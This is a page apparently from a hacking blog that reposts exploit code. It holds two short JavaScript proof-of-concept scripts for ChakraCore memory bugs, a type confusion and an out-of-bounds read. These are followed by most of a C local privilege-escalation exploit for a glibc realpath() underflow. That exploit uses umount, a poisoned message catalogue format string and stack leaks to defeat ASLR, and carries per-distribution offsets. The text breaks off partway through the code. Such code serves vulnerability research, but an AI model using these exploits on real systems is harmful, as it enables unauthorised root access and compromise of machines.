Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863557986

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
If variables don't escape the scope, the variables can be allocated to the stack. However, there are some situations, such as when a bailout happens or accessing to arguments containing stack-allocated variables, where those variables should not exist in the stack. In these cases, the stack-allocated variables are copied to the heap. This is performed by the "*::BoxStackInstance" methods.

Here's an example.
function inlinee() {
    return inlinee.arguments[0];
}

function opt() {
    let stack_arr = [];
    // allocate segment to the heap
    for (let i = 0; i < 100; i++)
        stack_arr[i] = 0;

    let heap_arr = inlinee(stack_arr);
    heap_arr[0] = 2;

    print(stack_arr[0]);
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

"stack_arr" is allocated in the stack. When accessing "inlinee.arguments", the stack-allocated variable gets copied to the heap. Therefore, the copied-heap-variable "heap_arr" has the same structure with "stack_arr". The code shows that the two variables share the same buffer by printing out "2". This means, even if one of those arrays' type changes, the other array can access the same buffer with the previous type.

PoC:
*/

function inlinee() {
    return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */

    let stack_arr = [];  // JavascriptNativeFloatArray
    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;

    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);

    stack_arr[10000] = 2.3023e-320;

    return heap_arr[10000];
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(new Function(''));  // Prevents to be inlined
    }

    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray
    }));
}

main();
            
/*
AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arr[idx & ...]()". In these cases, the index register remains NoRegister which is (uint32_t)-1. It results in OOB read.

PoC:
*/

function Module() {
    'use asm';
    function f() {
        arr();
    }

    function g() {
    }

    var arr = [g];
    return f;
}

let f = Module();
f();
            
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2018 halfdog <me (%) halfdog.net>
 *  See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
 *
 *  This tool exploits a buffer underflow in glibc realpath()
 *  and was tested against latest release from Debian, Ubuntu
 *  Mint. It is intended as demonstration of ASLR-aware exploitation
 *  techniques. It uses relative binary offsets, that may be different
 *  for various Linux distributions and builds. Please send me
 *  a patch when you developed a new set of parameters to add
 *  to the osSpecificExploitDataList structure and want to contribute
 *  them.
 *
 *  Compile: gcc -o RationalLove RationalLove.c
 *  Run: ./RationalLove
 *
 *  You may also use "--Pid" parameter, if you want to test the
 *  program on already existing namespaced or chrooted mounts.
 */

#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <poll.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#define UMOUNT_ENV_VAR_COUNT 256

/** Dump that number of bytes from stack to perform anti-ASLR.
 *  This number should be high enough to reproducible reach the
 *  stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
 *  environment variable references but low enough to avoid hitting
 *  upper stack limit, which would cause a crash.
 */
#define STACK_LONG_DUMP_BYTES 4096

char *messageCataloguePreamble="Language: en\n"
    "MIME-Version: 1.0\n"
    "Content-Type: text/plain; charset=UTF-8\n"
    "Content-Transfer-Encoding: 8bit\n";

/** The pid of a namespace process with the working directory
 *  at a writable /tmp only visible by the process. */
pid_t namespacedProcessPid=-1;

int killNamespacedProcessFlag=1;

/** The pathname to the umount binary to execute. */
char *umountPathname;

/** The pathname to the named pipe, that will synchronize umount
 *  binary with supervisory process before triggering the second
 *  and last exploitation phase.
 */
char *secondPhaseTriggerPipePathname;

/** The pathname to the second phase exploitation catalogue file.
 *  This is needed as the catalogue cannot be sent via the trigger
 *  pipe from above.
 */
char *secondPhaseCataloguePathname;

/** The OS-release detected via /etc/os-release. */
char *osRelease=NULL;

/** This table contains all relevant information to adapt the
 *  attack to supported Linux distros (fully updated) to support
 *  also older versions, hash of umount/libc/libmount should be
 *  used also for lookups.
 *  The 4th string is an array of 4-byte integers with the offset
 *  values for format string generation. Values specify:
 *  * Stack position (in 8 byte words) for **argv
 *  * Stack position of argv[0]
 *  * Offset from __libc_start_main return position from main()
 *    and system() function, first instruction after last sigprocmask()
 *    before execve call.
 */
#define ED_STACK_OFFSET_CTX 0
#define ED_STACK_OFFSET_ARGV 1
#define ED_STACK_OFFSET_ARG0 2
#define ED_LIBC_GETDATE_DELTA 3
#define ED_LIBC_EXECL_DELTA 4
static char* osSpecificExploitDataList[]={
// Debian Stretch
    "\"9 (stretch)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "from_archive",
// Delta for Debian Stretch "2.24-11+deb9u1"
    "\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
// Ubuntu Xenial libc=2.23-0ubuntu9
    "\"16.04.3 LTS (Xenial Xerus)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "_nl_load_locale_from_archive",
    "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
    "\"18.3 (Sylvia)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "_nl_load_locale_from_archive",
    "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
    NULL};

char **osReleaseExploitData=NULL;

/** Locate the umount binary within the given search path list,
 *  elements separated by colons.
 *  @return a pointer to a malloced memory region containing the
 *  string or NULL if not found.
 */
char* findUmountBinaryPathname(char *searchPath) {
  char *testPathName=(char*)malloc(PATH_MAX);
  assert(testPathName);

  while(*searchPath) {
    char *endPtr=strchr(searchPath, ':');
    int length=endPtr-searchPath;
    if(!endPtr) {
      length=strlen(searchPath);
      endPtr=searchPath+length-1;
    }
    int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
        searchPath, "umount");
    if(result>=PATH_MAX) {
      fprintf(stderr, "Binary search path element too long, ignoring it.\n");
    } else {
      struct stat statBuf;
      result=stat(testPathName, &statBuf);
// Just assume, that umount is owner-executable. There might be
// alternative ACLs, which grant umount execution only to selected
// groups, but it would be unusual to have different variants
// of umount located searchpath on the same host.
      if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {
        return(testPathName);
      }
    }
    searchPath=endPtr+1;
  }

  free(testPathName);
  return(NULL);
}


/** Get the value for a given field name.
 *  @return NULL if not found, a malloced string otherwise.
 */
char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {
  int nameLength=strlen(fieldName);
  while(dataLength>0) {
    char *nextPos=memchr(releaseData, '\n', dataLength);
    int lineLength=dataLength;
    if(nextPos) {
      lineLength=nextPos-releaseData;
      nextPos++;
    } else {
      nextPos=releaseData+dataLength;
    }
    if((!strncmp(releaseData, fieldName, nameLength))&&
        (releaseData[nameLength]=='=')) {
      return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));
    }
    releaseData=nextPos;
    dataLength-=lineLength;
  }
  return(NULL);
}


/** Detect the release by reading the VERSION field from /etc/os-release.
 *  @return 0 on success.
 */
int detectOsRelease() {
  int handle=open("/etc/os-release", O_RDONLY);
  if(handle<0)
    return(-1);

  char *buffer=alloca(1024);
  int infoLength=read(handle, buffer, 1024);
  close(handle);
  if(infoLength<0)
    return(-1);
  osRelease=getReleaseFileField(buffer, infoLength, "VERSION");
  if(!osRelease)
    osRelease=getReleaseFileField(buffer, infoLength, "NAME");
  if(osRelease) {
    fprintf(stderr, "Detected OS version: %s\n", osRelease);
    return(0);
  }

  return(-1);
}


/** Create the catalogue data in memory.
 *  @return a pointer to newly allocated catalogue data memory
 */
char* createMessageCatalogueData(char **origStringList, char **transStringList,
    int stringCount, int *catalogueDataLength) {
  int contentLength=strlen(messageCataloguePreamble)+2;
  for(int stringPos=0; stringPos<stringCount; stringPos++) {
    contentLength+=strlen(origStringList[stringPos])+
        strlen(transStringList[stringPos])+2;
  }
  int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;
  char *catalogueData=(char*)malloc(preambleLength+contentLength);
  memset(catalogueData, 0, preambleLength);
  int *preambleData=(int*)catalogueData;
  *preambleData++=0x950412de;
  preambleData++;
  *preambleData++=stringCount+1;
  *preambleData++=0x1c;
  *preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;
  *preambleData++=0x5;
  *preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;

  char *nextCatalogueStringStart=catalogueData+preambleLength;
  for(int stringPos=-1; stringPos<stringCount; stringPos++) {
    char *writeString=(stringPos<0)?"":origStringList[stringPos];
    int length=strlen(writeString);
    *preambleData++=length;
    *preambleData++=(nextCatalogueStringStart-catalogueData);
    memcpy(nextCatalogueStringStart, writeString, length+1);
    nextCatalogueStringStart+=length+1;
  }
  for(int stringPos=-1; stringPos<stringCount; stringPos++) {
    char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];
    int length=strlen(writeString);
    *preambleData++=length;
    *preambleData++=(nextCatalogueStringStart-catalogueData);
    memcpy(nextCatalogueStringStart, writeString, length+1);
    nextCatalogueStringStart+=length+1;
  }
  assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);
  for(int stringPos=0; stringPos<=stringCount+1; stringPos++) {
//    *preambleData++=(stringPos+1);
    *preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];
  }
  *catalogueDataLength=preambleLength+contentLength;
  return(catalogueData);
}


/** Create the catalogue data from the string lists and write
 *  it to the given file.
 *  @return 0 on success.
 */
int writeMessageCatalogue(char *pathName, char **origStringList,
    char **transStringList, int stringCount) {
  int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);
  if(catalogueFd<0) {
    fprintf(stderr, "Failed to open catalogue file %s for writing.\n",
        pathName);
    return(-1);
  }
  int catalogueDataLength;
  char *catalogueData=createMessageCatalogueData(
      origStringList, transStringList, stringCount, &catalogueDataLength);
  int result=write(catalogueFd, catalogueData, catalogueDataLength);
  assert(result==catalogueDataLength);
  close(catalogueFd);
  free(catalogueData);
  return(0);
}

void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {
  char pathBuffer[PATH_MAX];
  int pathNameLength=0;
  while(1) {
    char *nextPathSep=strchr(pathName+pathNameLength, '/');
    if(nextPathSep) {
      pathNameLength=nextPathSep-pathName;
    } else {
      pathNameLength=strlen(pathName);
    }
    int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",
        namespaceMountBaseDir, pathNameLength, pathName);
    assert(result<PATH_MAX);
    result=mkdir(pathBuffer, 0755);
    assert((!result)||(errno==EEXIST));
    if(!pathName[pathNameLength])
      break;
    pathNameLength++;
  }
}


/** This child function prepares the namespaced mount point and
 *  then waits to be killed later on.
 */
static int usernsChildFunction() {
  while(geteuid()!=0) {
    sched_yield();
  }
  int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);
  assert(!result);
  assert(!chdir("/tmp"));
  int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);
  assert(handle>=0);
  close(handle);
  sleep(100000);
}

/** Prepare a process living in an own mount namespace and setup
 *  the mount structure appropriately. The process is created
 *  in a way allowing cleanup at program end by just killing it,
 *  thus removing the namespace.
 *  @return the pid of that process or -1 on error.
 */
pid_t prepareNamespacedProcess() {
  if(namespacedProcessPid==-1) {
    fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");

    char *stackData=(char*)malloc(1<<20);
    assert(stackData);
    namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
        CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
    if(namespacedProcessPid==-1) {
      fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
      return(-1);
    }

    char idMapFileName[128];
    char idMapData[128];
    sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
    int setGroupsFd=open(idMapFileName, O_WRONLY);
    assert(setGroupsFd>=0);
    int result=write(setGroupsFd, "deny", 4);
    assert(result>0);
    close(setGroupsFd);

    sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
    int uidMapFd=open(idMapFileName, O_WRONLY);
    assert(uidMapFd>=0);
    sprintf(idMapData, "0 %d 1\n", getuid());
    result=write(uidMapFd, idMapData, strlen(idMapData));
    assert(result>0);
    close(uidMapFd);

    sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
    int gidMapFd=open(idMapFileName, O_WRONLY);
    assert(gidMapFd>=0);
    sprintf(idMapData, "0 %d 1\n", getgid());
    result=write(gidMapFd, idMapData, strlen(idMapData));
    assert(result>0);
    close(gidMapFd);

// After setting the maps for the child process, the child may
// start setting up the mount point. Wait for that to complete.
    sleep(1);
    fprintf(stderr, "Namespaced filesystem created with pid %d\n",
        namespacedProcessPid);
  }

  osReleaseExploitData=osSpecificExploitDataList;
  if(osRelease) {
// If an OS was detected, try to find it in list. Otherwise use
// default.
    for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
      if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
        osReleaseExploitData=osSpecificExploitDataList+tPos;
        break;
      }
    }
  }

  char pathBuffer[PATH_MAX];
  int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
     namespacedProcessPid);
  assert(result<PATH_MAX);
  char *namespaceMountBaseDir=strdup(pathBuffer);
  assert(namespaceMountBaseDir);

// Create directories needed for umount to proceed to final state
// "not mounted".
  createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
  assert(result<PATH_MAX);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);

// Create symlink to trigger underflows.
  result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
      namespaceMountBaseDir);
  assert(result<PATH_MAX);
  result=symlink(osReleaseExploitData[1], pathBuffer);
  assert(!result||(errno==EEXIST));

// getdate will leave that string in rdi to become the filename
// to execute for the next round.
  char *selfPathName=realpath("/proc/self/exe", NULL);
  result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
      namespaceMountBaseDir);
  assert(result<PATH_MAX);
  int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
  assert(handle>0);
  result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
      selfPathName);
  assert(result<PATH_MAX);
  result=write(handle, pathBuffer, result);
  close(handle);
  free(selfPathName);

// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  assert(result<PATH_MAX);

  char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
  assert(stackDumpStr);
  char *stackDumpStrEnd=stackDumpStr;
  stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
      ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
  for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
    memcpy(stackDumpStrEnd, "%016lx", 6);
    stackDumpStrEnd+=6;
  }
// We wrote allready 8 bytes, write so many more to produce a
// count of 'L' and write that to the stack. As all writes so
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
// to write at least 4 bytes, which is longer than any "%hhx"
// format string output. Hence do not care about the byte content
// here. The target write address has a 16 byte alignment due
// to varg structure.
  stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
      ('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
      STACK_LONG_DUMP_BYTES/16);
  *stackDumpStrEnd=0;
  result=writeMessageCatalogue(pathBuffer,
      (char*[]){
          "%s: mountpoint not found",
          "%s: not mounted",
          "%s: target is busy\n        (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
      },
      (char*[]){"1234", stackDumpStr, "5678"},
      3);
  assert(!result);
  free(stackDumpStr);

  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  assert(result<PATH_MAX);
  result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
  assert((!result)||(errno==EEXIST));
  secondPhaseTriggerPipePathname=strdup(pathBuffer);

  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  secondPhaseCataloguePathname=strdup(pathBuffer);

  free(namespaceMountBaseDir);
  return(namespacedProcessPid);
}



/** Create the format string to write an arbitrary value to the
 *  stack. The created format string avoids to interfere with
 *  the complex fprintf format handling logic by accessing fprintf
 *  internal state on stack. Thus the modification method does
 *  not depend on that ftp internals. The current libc fprintf
 *  implementation copies values for formatting before applying
 *  the %n writes, therefore pointers changed by fprintf operation
 *  can only be utilized with the next fprintf invocation. As
 *  we cannot rely on a stack having a suitable number of pointers
 *  ready for arbitrary writes, we need to create those pointers
 *  one by one. Everything needed is pointer on stack pointing
 *  to another valid pointer and 4 helper pointers pointing to
 *  writeable memory. The **argv list matches all those requirements.
 *  @param printfArgvValuePos the position of the argv pointer from
 *  printf format string view.
 *  @param argvStackAddress the address of the argv list, where
 *  the argv[0] pointer can be read.
 *  @param printfArg0ValuePos the position of argv list containing
 *  argv[0..n] pointers.
 *  @param mainFunctionReturnAddress the address on stack where
 *  the return address from the main() function to _libc_start()
 *  is stored.
 *  @param writeValue the value to write to mainFunctionReturnAddress
 */
void createStackWriteFormatString(
    char *formatBuffer, int bufferSize, int printfArgvValuePos,
    void *argvStackAddress, int printfArg0ValuePos,
    void *mainFunctionReturnAddress, unsigned short *writeData,
    int writeDataLength) {
  int result=0;
  int currentValue=-1;
  for(int nextWriteValue=0; nextWriteValue<0x10000;) {
// Find the lowest value to write.
    nextWriteValue=0x10000;
    for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
       int value=writeData[valuePos];
       if((value>currentValue)&&(value<nextWriteValue))
         nextWriteValue=value;
    }
    if(currentValue<0)
      currentValue=0;
    if(currentValue!=nextWriteValue) {
      result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",
          nextWriteValue-currentValue);
      formatBuffer+=result;
      bufferSize-=result;
      currentValue=nextWriteValue;
    }
    for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
       if(writeData[valuePos]==nextWriteValue) {
          result=snprintf(formatBuffer, bufferSize,
              "%%%d$hn", printfArg0ValuePos+valuePos+1);
          formatBuffer+=result;
          bufferSize-=result;
       }
    }
  }

// Print the return function address location number of bytes
// except 8 (those from the LABEL counter) and write the value
// to arg1.
  int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;
  result=snprintf(formatBuffer, bufferSize,
      "%%1$%d.%ds%%1$s%%1$s%%%d$hn",
      writeCount, writeCount, printfArg0ValuePos);
  formatBuffer+=result;
  bufferSize-=result;

// Write the LABEL 6 more times, thus multiplying the the single
// byte write pointer to an 8-byte aligned argv-list pointer and
// update argv[0] to point to argv[1..n].
  writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
  result=snprintf(formatBuffer, bufferSize,
      "%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",
      writeCount, writeCount, printfArgvValuePos);
  formatBuffer+=result;
  bufferSize-=result;

// Append a debugging preamble.
  result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",
      printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,
      printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,
      printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);
  formatBuffer+=result;
  bufferSize-=result;
}


/** Wait for the trigger pipe to open. The pipe will be closed
 *  immediately after opening it.
 *  @return 0 when the pipe was opened before hitting a timeout.
 */
int waitForTriggerPipeOpen(char *pipeName) {
  struct timespec startTime, currentTime;
  int result=clock_gettime(CLOCK_MONOTONIC, &startTime);
  startTime.tv_sec+=10;
  assert(!result);
  while(1) {
    int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);
    if(pipeFd>=0) {
      close(pipeFd);
      break;
    }
    result=clock_gettime(CLOCK_MONOTONIC, &currentTime);
    if(currentTime.tv_sec>startTime.tv_sec) {
      return(-1);
    }
    currentTime.tv_sec=0;
    currentTime.tv_nsec=100000000;
    nanosleep(&currentTime, NULL);
  }
  return(0);
}


/** Invoke umount to gain root privileges.
 *  @return 0 if the umount process terminated with expected exit
 *  status.
 */
int attemptEscalation() {
  int escalationSuccess=-1;

  char targetCwd[64];
  snprintf(
      targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);

  int pipeFds[2];
  int result=pipe(pipeFds);
  assert(!result);

  pid_t childPid=fork();
  assert(childPid>=0);
  if(!childPid) {
// This is the child process.
    close(pipeFds[0]);
    fprintf(stderr, "Starting subprocess\n");
    dup2(pipeFds[1], 1);
    dup2(pipeFds[1], 2);
    close(pipeFds[1]);
    result=chdir(targetCwd);
    assert(!result);

// Create so many environment variables for a kind of "stack spraying".
    int envCount=UMOUNT_ENV_VAR_COUNT;
    char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
    assert(umountEnv);
    umountEnv[envCount--]=NULL;
    umountEnv[envCount--]="LC_ALL=C.UTF-8";
    while(envCount>=0) {
      umountEnv[envCount--]="AANGUAGE=X.X";
    }
// Use the built-in C locale.
// Invoke umount first by overwriting heap downwards using links
// for "down", then retriggering another error message ("busy")
// with hopefully similar same stack layout for other path "/".
    char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
    result=execve(umountArgs[0], umountArgs, umountEnv);
    assert(!result);
  }
  close(pipeFds[1]);
  int childStdout=pipeFds[0];

  int escalationPhase=0;
  char readBuffer[1024];
  int readDataLength=0;
  char stackData[STACK_LONG_DUMP_BYTES];
  int stackDataBytes=0;

  struct pollfd pollFdList[1];
  pollFdList[0].fd=childStdout;
  pollFdList[0].events=POLLIN;

// Now learn about the binary, prepare data for second exploitation
// phase. The phases should be:
// * 0: umount executes, glibc underflows and causes an util-linux.mo
//   file to be read, that contains a poisonous format string.
//   Successful poisoning results in writing of 8*'A' preamble,
//   we are looking for to indicate end of this phase.
// * 1: The poisoned process writes out stack content to defeat
//   ASLR. Reading all relevant stack end this phase.
// * 2: The poisoned process changes the "LANGUAGE" parameter,
//   thus triggering re-read of util-linux.mo. To avoid races,
//   we let umount open a named pipe, thus blocking execution.
//   As soon as the pipe is ready for writing, we write a modified
//   version of util-linux.mo to another file because the pipe
//   cannot be used for sending the content.
// * 3: We read umount output to avoid blocking the process and
//   wait for it to ROP execute fchown/fchmod and exit.
  while(1) {
    if(escalationPhase==2) {
// We cannot use the standard poll from below to monitor the pipe,
// but also we do not want to block forever. Wait for the pipe
// in nonblocking mode and then continue with next phase.
      result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
      if(result) {
        goto attemptEscalationCleanup;
      }
      escalationPhase++;
    }

// Wait at most 10 seconds for IO.
    result=poll(pollFdList, 1, 10000);
    if(!result) {
// We ran into a timeout. This might be the result of a deadlocked
// child, so kill the child and retry.
      fprintf(stderr, "Poll timed out\n");
      goto attemptEscalationCleanup;
    }
// Perform the IO operations without blocking.
    if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
      result=read(
          pollFdList[0].fd, readBuffer+readDataLength,
          sizeof(readBuffer)-readDataLength);
      if(!result) {
        if(escalationPhase<3) {
// Child has closed the socket unexpectedly.
          goto attemptEscalationCleanup;
        }
        break;
      }
      if(result<0) {
        fprintf(stderr, "IO error talking to child\n");
        goto attemptEscalationCleanup;
      }
      readDataLength+=result;

// Handle the data depending on escalation phase.
      int moveLength=0;
      switch(escalationPhase) {
        case 0: // Initial sync: read A*8 preamble.
          if(readDataLength<8)
            continue;
          char *preambleStart=memmem(readBuffer, readDataLength,
              "AAAAAAAA", 8);
          if(!preambleStart) {
// No preamble, move content only if buffer is full.
            if(readDataLength==sizeof(readBuffer))
              moveLength=readDataLength-7;
            break;
          }
// We found, what we are looking for. Start reading the stack.
          escalationPhase++;
          moveLength=preambleStart-readBuffer+8;
        case 1: // Read the stack.
// Consume stack data until or local array is full.
          while(moveLength+16<=readDataLength) {
            result=sscanf(readBuffer+moveLength, "%016lx",
                (int*)(stackData+stackDataBytes));
            if(result!=1) {
// Scanning failed, the data injection procedure apparently did
// not work, so this escalation failed.
              goto attemptEscalationCleanup;
            }
            moveLength+=sizeof(long)*2;
            stackDataBytes+=sizeof(long);
// See if we reached end of stack dump already.
            if(stackDataBytes==sizeof(stackData))
              break;
          }
          if(stackDataBytes!=sizeof(stackData))
            break;

// All data read, use it to prepare the content for the next phase.
          fprintf(stderr, "Stack content received, calculating next phase\n");

          int *exploitOffsets=(int*)osReleaseExploitData[3];

// This is the address, where source Pointer is pointing to.
          void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
// This is the stack address source for the target pointer.
          void *sourcePointerLocation=sourcePointerTarget-0xd0;

          void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
// This is the stack address of the libc start function return
// pointer.
          void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
          fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
              sourcePointerLocation, sourcePointerTarget,
              targetPointerTarget, libcStartFunctionReturnAddressSource);
// So the libcStartFunctionReturnAddressSource is the lowest address
// to manipulate, targetPointerTarget+...

          void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
          void *stackWriteData[]={
              libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
              libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
          };
          fprintf(stderr, "Changing return address from %p to %p, %p\n",
              libcStartFunctionAddress, stackWriteData[0],
              stackWriteData[1]);
          escalationPhase++;

          char *escalationString=(char*)malloc(1024);
          createStackWriteFormatString(
              escalationString, 1024,
              exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
              sourcePointerTarget, // Base value to write
              exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
              libcStartFunctionReturnAddressSource,
              (unsigned short*)stackWriteData,
              sizeof(stackWriteData)/sizeof(unsigned short)
          );
          fprintf(stderr, "Using escalation string %s", escalationString);

          result=writeMessageCatalogue(
              secondPhaseCataloguePathname,
              (char*[]){
                  "%s: mountpoint not found",
                  "%s: not mounted",
                  "%s: target is busy\n        (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
              },
              (char*[]){
                  escalationString,
                  "BBBB5678%3$s\n",
                  "BBBBABCD%s\n"},
              3);
          assert(!result);
          break;
        case 2:
        case 3:
